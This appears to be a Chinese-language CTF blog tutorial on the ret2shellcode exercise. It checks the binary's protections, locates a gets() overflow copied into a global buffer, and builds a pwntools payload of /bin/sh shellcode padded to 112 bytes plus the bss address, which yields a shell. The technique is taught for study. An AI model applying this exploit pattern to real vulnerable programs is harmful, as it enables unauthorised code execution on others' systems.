PWN

ret2shellcode

shilinkun
2022-05-08 / 1 评论 / 646 阅读 / 正在检测是否收录...
博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935

上一次我们使用栈溢出对ret2text进行溢出,但是该程序自己有一个shellcode,一般情况都是没有的,这次我们就来解决一个没有自带shellcode的程序

同样,我们先来运行下这个程序

ROP$ ./ret2shellcode 
No system for you this time !!!

可以看到这次已经提醒你没有预先写好的shell函数供你使用,因此我们的想法是自己写一段shell,然后在返回地址覆盖为shell的地址,那么写到哪里呢,有2个地方:

  • bss

我们可以首先看下开启了哪些保护

ROP$ checksec ret2shellcode
[*] '/home/pwn/桌面/题目/ROP/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

有一个可读可写可执行,我们去看下各个段的权限

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/pwn/桌面/题目/ROP/ret2shellcode
 0x8049000  0x804a000 r-xp     1000 0      /home/pwn/桌面/题目/ROP/ret2shellcode
 0x804a000  0x804b000 rwxp     1000 1000   /home/pwn/桌面/题目/ROP/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp   1e8000 0      /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp     2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp     2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp     2000 0      
0xf7fcb000 0xf7fcd000 rwxp     2000 0      
0xf7fcd000 0xf7fd0000 r--p     3000 0      [vvar]
0xf7fd0000 0xf7fd1000 r-xp     1000 0      [vdso]
0xf7fd1000 0xf7ffb000 r-xp    2a000 0      /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp     1000 2a000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp     1000 2b000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

发现栈是可读可写可执行,那是不是就可以直接将程序写在栈上面,然后将返回地址覆盖为该程序地址呢?其实不可以,首先是否可以在栈上执行程序,有3个防护措施都有关

  • canny

每次在进入新函数的时候,之前是直接填充新函数的栈帧,但是这个措施可以在填充之前先加一个canny(一个特定的数值),当调用函数返回时候,先检查该值是否为填充的值,若不一样,则直接程序退出,由于我们覆盖栈,肯定是要覆盖栈帧,所以覆盖完之后,就会发现canny没有了,就会失败

  • nx

栈是否可以执行

  • ASLR

随机化程序的堆、栈、共享内存的地址,这样随机化之后,我们就不能在栈上写程序,因为每次地址都会变化

sudo cat /proc/sys/kernel/randomize_va_space

0:关闭
1:随机化栈基地址(stack)、共享库(.so\libraries)、mmap 基地址
2:在1基础上,增加随机化堆基地址(chunk)

在做题的时候,基本上这个都是打开的,所以一般不要想在栈上执行程序

那基于此,我们只能在bss上执行程序,我们在IDA可以看到

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

有一个strncpy函数,拷贝到buf2中,我们可以看到buf2是一个全局变量,因此在bss中,那刚好,就把s中的内容移到bss中,然后覆盖地址为bss的起始地址,bss中起始内容就是shellcode,那么开始把

首先pwn包提供产生一段shellcode代码

>>> shellcode = asm(shellcraft.sh())
>>> shellcode
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

然后我们用GDB看下填充多少字节

pwndbg> stack 40
00:0000│ esp  0xffffd0f0 —▸ 0xffffd10c ◂— 'AAAAAAAA'
01:0004│      0xffffd0f4 ◂— 0x0
02:0008│      0xffffd0f8 ◂— 0x1
03:000c│      0xffffd0fc ◂— 0x0
... ↓
06:0018│      0xffffd108 —▸ 0xf7ffd000 ◂— and    al, 0xbf /* 0x2bf24 */
07:001c│ eax  0xffffd10c ◂— 'AAAAAAAA'
... ↓
09:0024│ edx  0xffffd114 ◂— 0x500
0a:0028│      0xffffd118 ◂— 0xa5
0b:002c│      0xffffd11c —▸ 0xf7fb3a80 (__dso_handle) ◂— cmp    byte ptr [edx], 0xfb
0c:0030│      0xffffd120 ◂— 0x0
0d:0034│      0xffffd124 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1e9d6c */
0e:0038│      0xffffd128 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— add    byte ptr [eax], al
0f:003c│      0xffffd12c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0
10:0040│      0xffffd130 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1e9d6c */
11:0044│      0xffffd134 —▸ 0xf7fe22f0 ◂— endbr32 
12:0048│      0xffffd138 ◂— 0x0
13:004c│      0xffffd13c —▸ 0x804838d (_init+9) ◂— add    ebx, 0x1c73
14:0050│      0xffffd140 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0
15:0054│      0xffffd144 ◂— 0x40000
16:0058│      0xffffd148 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— add    dword ptr [eax], eax
17:005c│      0xffffd14c —▸ 0x8048622 (__libc_csu_init+82) ◂— add    edi, 1
18:0060│      0xffffd150 ◂— 0x1
19:0064│      0xffffd154 —▸ 0xffffd214 —▸ 0xffffd3c0 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd158 —▸ 0xffffd21c —▸ 0xffffd3ea ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│      0xffffd15c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add    esp, 0x1c
1c:0070│      0xffffd160 —▸ 0xf7fe22f0 ◂— endbr32 
1d:0074│      0xffffd164 ◂— 0x0
1e:0078│      0xffffd168 —▸ 0x80485db (__libc_csu_init+11) ◂— add    ebx, 0x1a25
1f:007c│      0xffffd16c ◂— 0x0
20:0080│      0xffffd170 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1e9d6c */
... ↓
22:0088│ ebp  0xffffd178 ◂— 0x0
23:008c│      0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
24:0090│      0xffffd180 ◂— 0x1
25:0094│      0xffffd184 —▸ 0xffffd214 —▸ 0xffffd3c0 ◂— 0x6d6f682f ('/hom')
26:0098│      0xffffd188 —▸ 0xffffd21c —▸ 0xffffd3ea ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
27:009c│      0xffffd18c —▸ 0xffffd1a4 ◂— 0x0

0xffffd10c0xffffd17c填充112字节垃圾数据,从0xffffd17c填充4字节的地址

因此payload

shellcode = asm(shellcraft.sh())
buf = 0x0804A080 # bss段的地址
payload = shellcode.ljust(112,b'A')+p32(buf)

其中的buf通过IDA看到

bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o

最后便可以成功拿到shell啦,感谢大家的阅读

0

评论 (1)

取消
  1. 头像
    test
    Windows 10 · Google Chrome

    评论一下

    回复